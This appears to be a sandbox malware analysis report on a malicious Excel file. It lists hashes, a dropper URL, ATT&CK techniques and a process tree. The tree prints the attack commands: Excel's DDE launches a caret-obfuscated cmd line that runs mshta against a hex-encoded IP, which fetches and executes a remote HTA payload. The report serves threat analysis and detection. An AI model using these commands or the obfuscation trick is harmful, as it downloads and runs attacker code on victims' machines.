bf8a7821de4c9b3118146a154b21922ef769f2717793e8ed87da33761e013676

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/11/2024, 09:03

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General

Target

bf8a7821de4c9b3118146a154b21922ef769f2717793e8ed87da33761e013676.xls
Size

128KB
MD5

741914ecb613891de62b62f1b4a99e26
SHA1

83945e53a409e722182867530ce9feb762b177c4
SHA256

bf8a7821de4c9b3118146a154b21922ef769f2717793e8ed87da33761e013676
SHA512

31a8716fa12286c4cf6690a62a0fa69bd9db9178ed8a057927aceb3c2b94a0070c37cdefd284e22a916a6545cf8b3c62c8b1365763a4930a4531fc92f41591c3
SSDEEP

3072:Wuk3hbdlylKsgqopeJBWhZFGkE+cL2NdAxEvN8B/W6X1yxYovrepMUdQ6gSz4i:Fk3hbdlylKsgqopeJBWhZFVE+W2NdAmv

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2208	2400	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	1972	mshta.exe
5	1972	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2400	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2400	EXCEL.EXE
2400	EXCEL.EXE
2400	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2400 wrote to memory of 2208	2400	EXCEL.EXE	30
PID 2400 wrote to memory of 2208	2400	EXCEL.EXE	30
PID 2400 wrote to memory of 2208	2400	EXCEL.EXE	30
PID 2400 wrote to memory of 2208	2400	EXCEL.EXE	30
PID 2208 wrote to memory of 1972	2208	cmd.exe	32
PID 2208 wrote to memory of 1972	2208	cmd.exe	32
PID 2208 wrote to memory of 1972	2208	cmd.exe	32
PID 2208 wrote to memory of 1972	2208	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\bf8a7821de4c9b3118146a154b21922ef769f2717793e8ed87da33761e013676.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2400
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:1972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2400-1-0x0000000071D9D000-0x0000000071DA8000-memory.dmp

Filesize
44KB

Download
memory/2400-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2400-2-0x0000000071D9D000-0x0000000071DA8000-memory.dmp

Filesize
44KB

Download